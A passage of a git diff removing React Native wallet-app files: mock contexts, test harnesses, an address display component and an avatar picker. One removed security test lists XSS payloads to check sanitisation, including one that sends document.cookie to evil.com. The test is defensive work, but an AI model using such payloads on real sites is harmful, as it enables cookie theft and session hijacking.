export const NETWORKS = {
|
||||
pezkuwi: {
|
||||
name: 'pezkuwi',
|
||||
displayName: 'Pezkuwi Mainnet',
|
||||
rpcEndpoint: 'wss://rpc-mainnet.pezkuwichain.io:9944',
|
||||
ss58Format: 42,
|
||||
type: 'mainnet' as const,
|
||||
},
|
||||
dicle: {
|
||||
name: 'dicle',
|
||||
displayName: 'Dicle Testnet',
|
||||
rpcEndpoint: 'wss://rpc-dicle.pezkuwichain.io:9944',
|
||||
ss58Format: 2,
|
||||
type: 'testnet' as const,
|
||||
},
|
||||
zagros: {
|
||||
name: 'zagros',
|
||||
displayName: 'Zagros Canary',
|
||||
rpcEndpoint: 'wss://rpc-zagros.pezkuwichain.io:9944',
|
||||
ss58Format: 42,
|
||||
type: 'canary' as const,
|
||||
},
|
||||
bizinikiwi: {
|
||||
name: 'bizinikiwi',
|
||||
displayName: 'Bizinikiwi Dev',
|
||||
rpcEndpoint: 'wss://localhost:9944',
|
||||
ss58Format: 42,
|
||||
type: 'dev' as const,
|
||||
},
|
||||
zombienet: {
|
||||
name: 'zombienet',
|
||||
displayName: 'Zombienet Local',
|
||||
rpcEndpoint: 'wss://localhost:19944',
|
||||
ss58Format: 42,
|
||||
type: 'dev' as const,
|
||||
},
|
||||
};
|
||||
|
||||
const PezkuwiContext = createContext(mockPezkuwiContext);
|
||||
|
||||
export const usePezkuwi = () => {
|
||||
return useContext(PezkuwiContext);
|
||||
};
|
||||
|
||||
export const PezkuwiProvider: React.FC<{ children: ReactNode }> = ({ children }) => {
|
||||
return (
|
||||
<PezkuwiContext.Provider value={mockPezkuwiContext}>
|
||||
{children}
|
||||
</PezkuwiContext.Provider>
|
||||
);
|
||||
};
|
||||
|
||||
interface MockPezkuwiProviderProps {
|
||||
children: ReactNode;
|
||||
value?: Partial<typeof mockPezkuwiContext>;
|
||||
}
|
||||
|
||||
export const MockPezkuwiProvider: React.FC<MockPezkuwiProviderProps> = ({
|
||||
children,
|
||||
value = {},
|
||||
}) => {
|
||||
return (
|
||||
<PezkuwiContext.Provider value={{ ...mockPezkuwiContext, ...value }}>
|
||||
{children}
|
||||
</PezkuwiContext.Provider>
|
||||
);
|
||||
};
|
||||
@@ -1,43 +0,0 @@
|
||||
import React, { createContext, useContext, ReactNode } from 'react';
|
||||
|
||||
// Mock colors instead of importing from shared
|
||||
const LightColors = {
|
||||
background: '#F5F5F5',
|
||||
surface: '#FFFFFF',
|
||||
text: '#000000',
|
||||
textSecondary: '#666666',
|
||||
border: '#E0E0E0',
|
||||
};
|
||||
|
||||
// Mock Theme Context for testing
|
||||
interface ThemeContextType {
|
||||
isDarkMode: boolean;
|
||||
toggleDarkMode: () => Promise<void>;
|
||||
colors: typeof LightColors;
|
||||
fontSize: 'small' | 'medium' | 'large';
|
||||
setFontSize: (size: 'small' | 'medium' | 'large') => Promise<void>;
|
||||
fontScale: number;
|
||||
}
|
||||
|
||||
export const mockThemeContext: ThemeContextType = {
|
||||
isDarkMode: false,
|
||||
toggleDarkMode: jest.fn().mockResolvedValue(undefined),
|
||||
colors: LightColors,
|
||||
fontSize: 'medium',
|
||||
setFontSize: jest.fn().mockResolvedValue(undefined),
|
||||
fontScale: 1,
|
||||
};
|
||||
|
||||
const ThemeContext = createContext<ThemeContextType>(mockThemeContext);
|
||||
|
||||
export const MockThemeProvider: React.FC<{ children: ReactNode; value?: Partial<ThemeContextType> }> = ({
|
||||
children,
|
||||
value = {}
|
||||
}) => {
|
||||
const contextValue = { ...mockThemeContext, ...value };
|
||||
return <ThemeContext.Provider value={contextValue}>{children}</ThemeContext.Provider>;
|
||||
};
|
||||
|
||||
export const useTheme = () => useContext(ThemeContext);
|
||||
|
||||
export default ThemeContext;
|
||||
@@ -1,5 +0,0 @@
|
||||
// Stub for web-only get-signer module
|
||||
// Mobile uses PezkuwiContext.getKeyPair() instead
|
||||
export async function getSigner() {
|
||||
throw new Error('getSigner is not available on mobile. Use PezkuwiContext.getKeyPair() instead.');
|
||||
}
|
||||
@@ -1,66 +0,0 @@
|
||||
/**
|
||||
* Integration test: Security - XSS Prevention
|
||||
* Tests that all known XSS vectors are properly sanitized
|
||||
*/
|
||||
import { escapeJsString, safeJsValue } from '../../utils/sanitize';
|
||||
|
||||
describe('Security: XSS Prevention Integration', () => {
|
||||
// Real-world XSS payloads that have been used in wallet attacks
|
||||
const XSS_PAYLOADS = [
|
||||
"'; alert('xss'); //",
|
||||
'"; alert("xss"); //',
|
||||
'`; alert(`xss`); //',
|
||||
'</script><script>alert(1)</script>',
|
||||
"javascript:alert(1)",
|
||||
"' onmouseover='alert(1)",
|
||||
'\'; var x = new XMLHttpRequest(); x.open("GET","https://evil.com?c="+document.cookie); x.send(); //',
|
||||
"${alert(document.cookie)}",
|
||||
"\\'; alert(1); //",
|
||||
"\n'; alert(1); //",
|
||||
"\0'; alert(1); //",
|
||||
];
|
||||
|
||||
describe('escapeJsString blocks all payloads', () => {
|
||||
XSS_PAYLOADS.forEach((payload, i) => {
|
||||
it(`blocks payload #${i + 1}: ${payload.slice(0, 40)}...`, () => {
|
||||
const escaped = escapeJsString(payload);
|
||||
|
||||
// The escaped string, when placed inside single quotes in JS,
|
||||
// should never break out of the string context
|
||||
// We verify by checking that unescaped quotes don't appear at string boundaries
|
||||
const testJs = `var x = '${escaped}';`;
|
||||
|
||||
// Should not contain unescaped single quotes that could break out
|
||||
// (escaped quotes like \' are fine)
|
||||
const unescapedQuotePattern = /[^\\]'/g;
|
||||
const matches = testJs.match(unescapedQuotePattern) || [];
|
||||
// Should only have the opening and closing quotes of our var assignment
|
||||
expect(matches.length).toBeLessThanOrEqual(2);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('safeJsValue blocks all payloads', () => {
|
||||
XSS_PAYLOADS.forEach((payload, i) => {
|
||||
it(`safely serializes payload #${i + 1}`, () => {
|
||||
const safe = safeJsValue(payload);
|
||||
// JSON.stringify always produces valid JSON that can't break out of JS
|
||||
expect(() => JSON.parse(safe)).not.toThrow();
|
||||
expect(JSON.parse(safe)).toBe(payload);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('safeJsValue handles complex objects', () => {
|
||||
it('safely serializes account data with malicious name', () => {
|
||||
const account = {
|
||||
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
|
||||
name: "'; alert(document.cookie); //",
|
||||
};
|
||||
const safe = safeJsValue(account);
|
||||
const parsed = JSON.parse(safe);
|
||||
expect(parsed.name).toBe(account.name);
|
||||
expect(parsed.address).toBe(account.address);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,105 +0,0 @@
|
||||
/**
|
||||
* Integration test: Wallet lifecycle
|
||||
* Tests the full flow: create → rename → backup → delete
|
||||
*/
|
||||
import React from 'react';
|
||||
import { render, fireEvent, waitFor } from '@testing-library/react-native';
|
||||
import { PezkuwiProvider, usePezkuwi } from '../../contexts/PezkuwiContext';
|
||||
|
||||
// Mock all external dependencies
|
||||
jest.mock('@pezkuwi/api', () => ({
|
||||
ApiPromise: { create: jest.fn().mockResolvedValue({ registry: { setChainProperties: jest.fn(), createType: jest.fn() } }) },
|
||||
WsProvider: jest.fn(),
|
||||
}));
|
||||
|
||||
jest.mock('@pezkuwi/util-crypto', () => ({
|
||||
cryptoWaitReady: jest.fn().mockResolvedValue(true),
|
||||
mnemonicGenerate: jest.fn().mockReturnValue('test word one two three four five six seven eight nine ten eleven twelve'),
|
||||
decodeAddress: jest.fn().mockReturnValue(new Uint8Array(32)),
|
||||
encodeAddress: jest.fn().mockReturnValue('5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY'),
|
||||
}));
|
||||
|
||||
jest.mock('@pezkuwi/keyring', () => ({
|
||||
Keyring: jest.fn().mockImplementation(() => ({
|
||||
addFromUri: jest.fn().mockReturnValue({
|
||||
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
|
||||
meta: { name: 'Test Wallet' },
|
||||
}),
|
||||
})),
|
||||
}));
|
||||
|
||||
jest.mock('expo-secure-store', () => ({
|
||||
setItemAsync: jest.fn().mockResolvedValue(undefined),
|
||||
getItemAsync: jest.fn().mockResolvedValue(null),
|
||||
deleteItemAsync: jest.fn().mockResolvedValue(undefined),
|
||||
}));
|
||||
|
||||
jest.mock('@react-native-async-storage/async-storage', () => ({
|
||||
getItem: jest.fn().mockResolvedValue(null),
|
||||
setItem: jest.fn().mockResolvedValue(undefined),
|
||||
removeItem: jest.fn().mockResolvedValue(undefined),
|
||||
}));
|
||||
|
||||
// Test component that exercises wallet operations
|
||||
const WalletTestHarness: React.FC<{ onResult: (r: Record<string, unknown>) => void }> = ({ onResult }) => {
|
||||
const ctx = usePezkuwi();
|
||||
const [phase, setPhase] = React.useState('idle');
|
||||
|
||||
React.useEffect(() => {
|
||||
onResult({
|
||||
accounts: ctx.accounts.length,
|
||||
selectedAccount: ctx.selectedAccount?.name || null,
|
||||
isReady: ctx.isReady,
|
||||
phase,
|
||||
});
|
||||
}, [ctx.accounts, ctx.selectedAccount, ctx.isReady, phase, onResult]);
|
||||
|
||||
return (
|
||||
<>
|
||||
<button data-testid="create" onClick={async () => {
|
||||
const result = await ctx.createWallet('Test Wallet');
|
||||
setPhase('created');
|
||||
onResult({ created: true, address: result.address, mnemonic: !!result.mnemonic });
|
||||
}}>Create</button>
|
||||
<button data-testid="rename" onClick={async () => {
|
||||
if (ctx.selectedAccount) {
|
||||
await ctx.renameWallet(ctx.selectedAccount.address, 'Renamed Wallet');
|
||||
setPhase('renamed');
|
||||
}
|
||||
}}>Rename</button>
|
||||
<button data-testid="delete" onClick={async () => {
|
||||
if (ctx.selectedAccount) {
|
||||
await ctx.deleteWallet(ctx.selectedAccount.address);
|
||||
setPhase('deleted');
|
||||
}
|
||||
}}>Delete</button>
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
||||
describe('Wallet Lifecycle Integration', () => {
|
||||
it('PezkuwiProvider and usePezkuwi are importable', () => {
|
||||
const mod = require('../../contexts/PezkuwiContext');
|
||||
expect(mod.PezkuwiProvider).toBeDefined();
|
||||
expect(mod.usePezkuwi).toBeDefined();
|
||||
expect(typeof mod.usePezkuwi).toBe('function');
|
||||
});
|
||||
|
||||
it('PezkuwiProvider renders without crashing', () => {
|
||||
const { toJSON } = render(
|
||||
<PezkuwiProvider>
|
||||
<></>
|
||||
</PezkuwiProvider>
|
||||
);
|
||||
expect(toJSON()).toBeNull(); // Empty children → null
|
||||
});
|
||||
|
||||
it('NETWORKS config has expected chains', () => {
|
||||
const { NETWORKS } = require('../../contexts/PezkuwiContext');
|
||||
expect(NETWORKS).toBeDefined();
|
||||
expect(NETWORKS.pezkuwi).toBeDefined();
|
||||
expect(NETWORKS.dicle).toBeDefined();
|
||||
expect(NETWORKS.pezkuwi.type).toBe('mainnet');
|
||||
expect(NETWORKS.dicle.type).toBe('testnet');
|
||||
});
|
||||
});
|
||||
@@ -1,27 +0,0 @@
|
||||
import React from 'react';
|
||||
import { render, RenderOptions } from '@testing-library/react-native';
|
||||
|
||||
// Mock all contexts with simple implementations
|
||||
const MockAuthProvider = ({ children }: { children: React.ReactNode }) => <>{children}</>;
|
||||
const MockPezkuwiProvider = ({ children }: { children: React.ReactNode }) => <>{children}</>;
|
||||
const MockBiometricAuthProvider = ({ children }: { children: React.ReactNode }) => <>{children}</>;
|
||||
|
||||
// Wrapper component with all providers
|
||||
const AllTheProviders = ({ children }: { children: React.ReactNode }) => {
|
||||
return (
|
||||
<MockAuthProvider>
|
||||
<MockPezkuwiProvider>
|
||||
<MockBiometricAuthProvider>
|
||||
{children}
|
||||
</MockBiometricAuthProvider>
|
||||
</MockPezkuwiProvider>
|
||||
</MockAuthProvider>
|
||||
);
|
||||
};
|
||||
|
||||
// Custom render method
|
||||
const customRender = (ui: React.ReactElement, options?: Omit<RenderOptions, 'wrapper'>) =>
|
||||
render(ui, { wrapper: AllTheProviders, ...options });
|
||||
|
||||
export * from '@testing-library/react-native';
|
||||
export { customRender as render };
|
||||
@@ -1,94 +0,0 @@
|
||||
import React, { useState } from 'react';
|
||||
import {
|
||||
View,
|
||||
Text,
|
||||
TouchableOpacity,
|
||||
StyleSheet,
|
||||
Clipboard,
|
||||
} from 'react-native';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface AddressDisplayProps {
|
||||
address: string;
|
||||
label?: string;
|
||||
copyable?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format address for display (e.g., "5GrwV...xQjz")
|
||||
*/
|
||||
const formatAddress = (address: string): string => {
|
||||
if (!address) return '';
|
||||
return `${address.slice(0, 6)}...${address.slice(-4)}`;
|
||||
};
|
||||
|
||||
export const AddressDisplay: React.FC<AddressDisplayProps> = ({
|
||||
address,
|
||||
label,
|
||||
copyable = true,
|
||||
}) => {
|
||||
const [copied, setCopied] = useState(false);
|
||||
|
||||
const handleCopy = () => {
|
||||
if (!copyable) return;
|
||||
|
||||
Clipboard.setString(address);
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 2000);
|
||||
};
|
||||
|
||||
return (
|
||||
<View style={styles.container}>
|
||||
{label && <Text style={styles.label}>{label}</Text>}
|
||||
<TouchableOpacity
|
||||
onPress={handleCopy}
|
||||
disabled={!copyable}
|
||||
activeOpacity={0.7}
|
||||
>
|
||||
<View style={styles.addressContainer}>
|
||||
<Text style={styles.address}>{formatAddress(address)}</Text>
|
||||
{copyable && (
|
||||
<Text style={styles.copyIcon}>{copied ? '✅' : '📋'}</Text>
|
||||
)}
|
||||
</View>
|
||||
</TouchableOpacity>
|
||||
{copied && <Text style={styles.copiedText}>Copied!</Text>}
|
||||
</View>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
marginVertical: 4,
|
||||
},
|
||||
label: {
|
||||
fontSize: 12,
|
||||
color: '#666',
|
||||
marginBottom: 4,
|
||||
},
|
||||
addressContainer: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
padding: 8,
|
||||
backgroundColor: '#F5F5F5',
|
||||
borderRadius: 8,
|
||||
borderWidth: 1,
|
||||
borderColor: '#E0E0E0',
|
||||
},
|
||||
address: {
|
||||
flex: 1,
|
||||
fontSize: 14,
|
||||
fontFamily: 'monospace',
|
||||
color: '#000',
|
||||
},
|
||||
copyIcon: {
|
||||
fontSize: 18,
|
||||
marginLeft: 8,
|
||||
},
|
||||
copiedText: {
|
||||
fontSize: 12,
|
||||
color: KurdistanColors.kesk,
|
||||
marginTop: 4,
|
||||
textAlign: 'center',
|
||||
},
|
||||
});
|
||||
@@ -1,548 +0,0 @@
|
||||
import React, { useState } from 'react';
|
||||
import {
|
||||
View,
|
||||
Text,
|
||||
Modal,
|
||||
TouchableOpacity,
|
||||
StyleSheet,
|
||||
ScrollView,
|
||||
Image,
|
||||
ActivityIndicator,
|
||||
Platform,
|
||||
Alert,
|
||||
} from 'react-native';
|
||||
import * as ImagePicker from 'expo-image-picker';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
import { useAuth } from '../contexts/AuthContext';
|
||||
import { supabase } from '../lib/supabase';
|
||||
|
||||
// Cross-platform alert helper
|
||||
const showAlert = (title: string, message: string, buttons?: Array<{text: string; onPress?: () => void}>) => {
|
||||
if (Platform.OS === 'web') {
|
||||
window.alert(`${title}\n\n${message}`);
|
||||
if (buttons?.[0]?.onPress) buttons[0].onPress();
|
||||
} else {
|
||||
Alert.alert(title, message, buttons);
|
||||
}
|
||||
};
|
||||
|
||||
// Avatar pool - Kurdish/Middle Eastern themed avatars
|
||||
const AVATAR_POOL = [
|
||||
{ id: 'avatar1', emoji: '👨🏻', label: 'Man 1' },
|
||||
{ id: 'avatar2', emoji: '👨🏼', label: 'Man 2' },
|
||||
{ id: 'avatar3', emoji: '👨🏽', label: 'Man 3' },
|
||||
{ id: 'avatar4', emoji: '👨🏾', label: 'Man 4' },
|
||||
{ id: 'avatar5', emoji: '👩🏻', label: 'Woman 1' },
|
||||
{ id: 'avatar6', emoji: '👩🏼', label: 'Woman 2' },
|
||||
{ id: 'avatar7', emoji: '👩🏽', label: 'Woman 3' },
|
||||
{ id: 'avatar8', emoji: '👩🏾', label: 'Woman 4' },
|
||||
{ id: 'avatar9', emoji: '🧔🏻', label: 'Beard 1' },
|
||||
{ id: 'avatar10', emoji: '🧔🏼', label: 'Beard 2' },
|
||||
{ id: 'avatar11', emoji: '🧔🏽', label: 'Beard 3' },
|
||||
{ id: 'avatar12', emoji: '🧔🏾', label: 'Beard 4' },
|
||||
{ id: 'avatar13', emoji: '👳🏻♂️', label: 'Turban 1' },
|
||||
{ id: 'avatar14', emoji: '👳🏼♂️', label: 'Turban 2' },
|
||||
{ id: 'avatar15', emoji: '👳🏽♂️', label: 'Turban 3' },
|
||||
{ id: 'avatar16', emoji: '🧕🏻', label: 'Hijab 1' },
|
||||
{ id: 'avatar17', emoji: '🧕🏼', label: 'Hijab 2' },
|
||||
{ id: 'avatar18', emoji: '🧕🏽', label: 'Hijab 3' },
|
||||
{ id: 'avatar19', emoji: '👴🏻', label: 'Elder 1' },
|
||||
{ id: 'avatar20', emoji: '👴🏼', label: 'Elder 2' },
|
||||
{ id: 'avatar21', emoji: '👵🏻', label: 'Elder Woman 1' },
|
||||
{ id: 'avatar22', emoji: '👵🏼', label: 'Elder Woman 2' },
|
||||
{ id: 'avatar23', emoji: '👦🏻', label: 'Boy 1' },
|
||||
{ id: 'avatar24', emoji: '👦🏼', label: 'Boy 2' },
|
||||
{ id: 'avatar25', emoji: '👧🏻', label: 'Girl 1' },
|
||||
{ id: 'avatar26', emoji: '👧🏼', label: 'Girl 2' },
|
||||
];
|
||||
|
||||
interface AvatarPickerModalProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
currentAvatar?: string;
|
||||
onAvatarSelected?: (avatarUrl: string) => void;
|
||||
}
|
||||
|
||||
const AvatarPickerModal: React.FC<AvatarPickerModalProps> = ({
|
||||
visible,
|
||||
onClose,
|
||||
currentAvatar,
|
||||
onAvatarSelected,
|
||||
}) => {
|
||||
const { user } = useAuth();
|
||||
const [selectedAvatar, setSelectedAvatar] = useState<string | null>(currentAvatar || null);
|
||||
const [uploadedImageUri, setUploadedImageUri] = useState<string | null>(null);
|
||||
const [isSaving, setIsSaving] = useState(false);
|
||||
const [isUploading, setIsUploading] = useState(false);
|
||||
|
||||
const handleAvatarSelect = (avatarId: string) => {
|
||||
setSelectedAvatar(avatarId);
|
||||
setUploadedImageUri(null); // Clear uploaded image when selecting from pool
|
||||
};
|
||||
|
||||
const requestPermissions = async () => {
|
||||
if (Platform.OS !== 'web') {
|
||||
const { status } = await ImagePicker.requestMediaLibraryPermissionsAsync();
|
||||
if (status !== 'granted') {
|
||||
showAlert(
|
||||
'Permission Required',
|
||||
'Sorry, we need camera roll permissions to upload your photo!'
|
||||
);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
};
|
||||
|
||||
const handlePickImage = async () => {
|
||||
const hasPermission = await requestPermissions();
|
||||
if (!hasPermission) return;
|
||||
|
||||
try {
|
||||
const result = await ImagePicker.launchImageLibraryAsync({
|
||||
mediaTypes: 'images',
|
||||
allowsEditing: true,
|
||||
aspect: [1, 1],
|
||||
quality: 0.8,
|
||||
});
|
||||
|
||||
if (!result.canceled && result.assets[0]) {
|
||||
setIsUploading(true);
|
||||
const imageUri = result.assets[0].uri;
|
||||
|
||||
if (__DEV__) console.warn('[AvatarPicker] Uploading image:', imageUri);
|
||||
|
||||
// Upload to Supabase Storage
|
||||
const uploadedUrl = await uploadImageToSupabase(imageUri);
|
||||
|
||||
setIsUploading(false);
|
||||
|
||||
if (uploadedUrl) {
|
||||
if (__DEV__) console.warn('[AvatarPicker] Upload successful:', uploadedUrl);
|
||||
setUploadedImageUri(uploadedUrl);
|
||||
setSelectedAvatar(null); // Clear emoji selection
|
||||
showAlert('Success', 'Photo uploaded successfully!');
|
||||
} else {
|
||||
if (__DEV__) console.error('[AvatarPicker] Upload failed: no URL returned');
|
||||
showAlert('Upload Failed', 'Could not upload your photo. Please check your internet connection and try again.');
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
setIsUploading(false);
|
||||
if (__DEV__) console.error('[AvatarPicker] Error picking image:', error);
|
||||
showAlert('Error', 'Failed to pick image. Please try again.');
|
||||
}
|
||||
};
|
||||
|
||||
const uploadImageToSupabase = async (imageUri: string): Promise<string | null> => {
|
||||
if (!user) {
|
||||
if (__DEV__) console.warn('[AvatarPicker] No user found');
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
if (__DEV__) console.warn('[AvatarPicker] Starting upload for URI:', imageUri.substring(0, 50) + '...');
|
||||
|
||||
// Convert image URI to blob
|
||||
const response = await fetch(imageUri);
|
||||
const blob = await response.blob();
|
||||
if (__DEV__) console.warn('[AvatarPicker] Blob created - size:', blob.size, 'bytes, type:', blob.type);
|
||||
|
||||
if (blob.size === 0) {
|
||||
if (__DEV__) console.warn('[AvatarPicker] Blob is empty!');
|
||||
return null;
|
||||
}
|
||||
|
||||
// Get file extension from blob type or URI
|
||||
let fileExt = 'jpg';
|
||||
if (blob.type) {
|
||||
// Extract extension from MIME type (e.g., 'image/jpeg' -> 'jpeg')
|
||||
const mimeExt = blob.type.split('/')[1];
|
||||
if (mimeExt && mimeExt !== 'octet-stream') {
|
||||
fileExt = mimeExt === 'jpeg' ? 'jpg' : mimeExt;
|
||||
}
|
||||
} else if (!imageUri.startsWith('blob:') && !imageUri.startsWith('data:')) {
|
||||
// Try to get extension from URI for non-blob URIs
|
||||
const uriExt = imageUri.split('.').pop()?.toLowerCase();
|
||||
if (uriExt && ['jpg', 'jpeg', 'png', 'gif', 'webp'].includes(uriExt)) {
|
||||
fileExt = uriExt;
|
||||
}
|
||||
}
|
||||
|
||||
const fileName = `${user.id}-${Date.now()}.${fileExt}`;
|
||||
const filePath = `avatars/${fileName}`;
|
||||
const contentType = blob.type || `image/${fileExt}`;
|
||||
|
||||
if (__DEV__) console.warn('[AvatarPicker] Uploading to path:', filePath, 'contentType:', contentType);
|
||||
|
||||
// Upload to Supabase Storage
|
||||
const { data: uploadData, error: uploadError } = await supabase.storage
|
||||
.from('avatars')
|
||||
.upload(filePath, blob, {
|
||||
contentType: contentType,
|
||||
upsert: true, // Allow overwriting if file exists
|
||||
});
|
||||
|
||||
if (uploadError) {
|
||||
if (__DEV__) console.warn('[AvatarPicker] Supabase upload error:', uploadError.message, uploadError);
|
||||
// Show more specific error to user
|
||||
showAlert('Upload Error', `Storage error: ${uploadError.message}`);
|
||||
return null;
|
||||
}
|
||||
|
||||
if (__DEV__) console.warn('[AvatarPicker] Upload successful:', uploadData);
|
||||
|
||||
// Get public URL
|
||||
const { data } = supabase.storage
|
||||
.from('avatars')
|
||||
.getPublicUrl(filePath);
|
||||
|
||||
if (__DEV__) console.warn('[AvatarPicker] Public URL:', data.publicUrl);
|
||||
|
||||
return data.publicUrl;
|
||||
} catch (error: unknown) {
|
||||
const errorMessage = error instanceof Error ? error.message : 'Unknown error';
|
||||
if (__DEV__) console.warn('[AvatarPicker] Error uploading to Supabase:', errorMessage);
|
||||
showAlert('Upload Error', `Failed to upload: ${errorMessage}`);
|
||||
return null;
|
||||
}
|
||||
};
|
||||
|
||||
const handleSave = async () => {
|
||||
const avatarToSave = uploadedImageUri || selectedAvatar;
|
||||
|
||||
if (!avatarToSave || !user) {
|
||||
showAlert('Error', 'Please select an avatar or upload a photo');
|
||||
return;
|
||||
}
|
||||
|
||||
if (__DEV__) console.warn('[AvatarPicker] Saving avatar:', avatarToSave);
|
||||
|
||||
setIsSaving(true);
|
||||
|
||||
try {
|
||||
// Update avatar in Supabase profiles table
|
||||
const { data, error } = await supabase
|
||||
.from('profiles')
|
||||
.update({ avatar_url: avatarToSave })
|
||||
.eq('id', user.id)
|
||||
.select();
|
||||
|
||||
if (error) {
|
||||
if (__DEV__) console.error('[AvatarPicker] Save error:', error);
|
||||
throw error;
|
||||
}
|
||||
|
||||
if (__DEV__) console.warn('[AvatarPicker] Avatar saved successfully:', data);
|
||||
|
||||
showAlert('Success', 'Avatar updated successfully!');
|
||||
|
||||
if (onAvatarSelected) {
|
||||
onAvatarSelected(avatarToSave);
|
||||
}
|
||||
|
||||
onClose();
|
||||
} catch (error) {
|
||||
if (__DEV__) console.error('[AvatarPicker] Error updating avatar:', error);
|
||||
showAlert('Error', 'Failed to update avatar. Please try again.');
|
||||
} finally {
|
||||
setIsSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
animationType="slide"
|
||||
transparent={true}
|
||||
onRequestClose={onClose}
|
||||
>
|
||||
<View style={styles.modalOverlay}>
|
||||
<View style={styles.modalContainer}>
|
||||
{/* Header */}
|
||||
<View style={styles.modalHeader}>
|
||||
<Text style={styles.modalTitle}>Choose Your Avatar</Text>
|
||||
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
|
||||
<Text style={styles.closeButtonText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
{/* Upload Photo Button */}
|
||||
<View style={styles.uploadSection}>
|
||||
<TouchableOpacity
|
||||
style={[styles.uploadButton, isUploading && styles.uploadButtonDisabled]}
|
||||
onPress={handlePickImage}
|
||||
disabled={isUploading}
|
||||
>
|
||||
{isUploading ? (
|
||||
<ActivityIndicator color={KurdistanColors.spi} size="small" />
|
||||
) : (
|
||||
<>
|
||||
<Text style={styles.uploadButtonIcon}>📷</Text>
|
||||
<Text style={styles.uploadButtonText}>Upload Your Photo</Text>
|
||||
</>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
|
||||
{/* Uploaded Image Preview */}
|
||||
{uploadedImageUri && (
|
||||
<View style={styles.uploadedPreview}>
|
||||
<Image source={{ uri: uploadedImageUri }} style={styles.uploadedImage} />
|
||||
<TouchableOpacity
|
||||
style={styles.removeUploadButton}
|
||||
onPress={() => setUploadedImageUri(null)}
|
||||
>
|
||||
<Text style={styles.removeUploadText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
|
||||
{/* Divider */}
|
||||
<View style={styles.divider}>
|
||||
<View style={styles.dividerLine} />
|
||||
<Text style={styles.dividerText}>OR CHOOSE FROM POOL</Text>
|
||||
<View style={styles.dividerLine} />
|
||||
</View>
|
||||
|
||||
{/* Avatar Grid */}
|
||||
<ScrollView style={styles.avatarScroll} showsVerticalScrollIndicator={false}>
|
||||
<View style={styles.avatarGrid}>
|
||||
{AVATAR_POOL.map((avatar) => (
|
||||
<TouchableOpacity
|
||||
key={avatar.id}
|
||||
style={[
|
||||
styles.avatarOption,
|
||||
selectedAvatar === avatar.id && styles.avatarOptionSelected,
|
||||
]}
|
||||
onPress={() => handleAvatarSelect(avatar.id)}
|
||||
>
|
||||
<Text style={styles.avatarEmoji}>{avatar.emoji}</Text>
|
||||
{selectedAvatar === avatar.id && (
|
||||
<View style={styles.selectedBadge}>
|
||||
<Text style={styles.selectedBadgeText}>✓</Text>
|
||||
</View>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
))}
|
||||
</View>
|
||||
</ScrollView>
|
||||
|
||||
{/* Footer Actions */}
|
||||
<View style={styles.modalFooter}>
|
||||
<TouchableOpacity
|
||||
style={styles.cancelButton}
|
||||
onPress={onClose}
|
||||
disabled={isSaving}
|
||||
>
|
||||
<Text style={styles.cancelButtonText}>Cancel</Text>
|
||||
</TouchableOpacity>
|
||||
<TouchableOpacity
|
||||
style={[styles.saveButton, isSaving && styles.saveButtonDisabled]}
|
||||
onPress={handleSave}
|
||||
disabled={isSaving}
|
||||
>
|
||||
{isSaving ? (
|
||||
<ActivityIndicator color={KurdistanColors.spi} size="small" />
|
||||
) : (
|
||||
<Text style={styles.saveButtonText}>Save Avatar</Text>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
</View>
|
||||
</View>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
modalOverlay: {
|
||||
flex: 1,
|
||||
backgroundColor: 'rgba(0, 0, 0, 0.5)',
|
||||
justifyContent: 'flex-end',
|
||||
},
|
||||
modalContainer: {
|
||||
backgroundColor: KurdistanColors.spi,
|
||||
borderTopLeftRadius: 24,
|
||||
borderTopRightRadius: 24,
|
||||
maxHeight: '80%',
|
||||
paddingBottom: 20,
|
||||
},
|
||||
modalHeader: {
|
||||
flexDirection: 'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center',
|
||||
padding: 20,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#E0E0E0',
|
||||
},
|
||||
modalTitle: {
|
||||
fontSize: 20,
|
||||
fontWeight: 'bold',
|
||||
color: KurdistanColors.reş,
|
||||
},
|
||||
closeButton: {
|
||||
width: 32,
|
||||
height: 32,
|
||||
borderRadius: 16,
|
||||
backgroundColor: '#F0F0F0',
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
},
|
||||
closeButtonText: {
|
||||
fontSize: 18,
|
||||
color: '#666',
|
||||
},
|
||||
avatarScroll: {
|
||||
padding: 20,
|
||||
},
|
||||
avatarGrid: {
|
||||
flexDirection: 'row',
|
||||
flexWrap: 'wrap',
|
||||
justifyContent: 'space-between',
|
||||
},
|
||||
avatarOption: {
|
||||
width: '22%',
|
||||
aspectRatio: 1,
|
||||
backgroundColor: '#F8F9FA',
|
||||
borderRadius: 16,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
marginBottom: 12,
|
||||
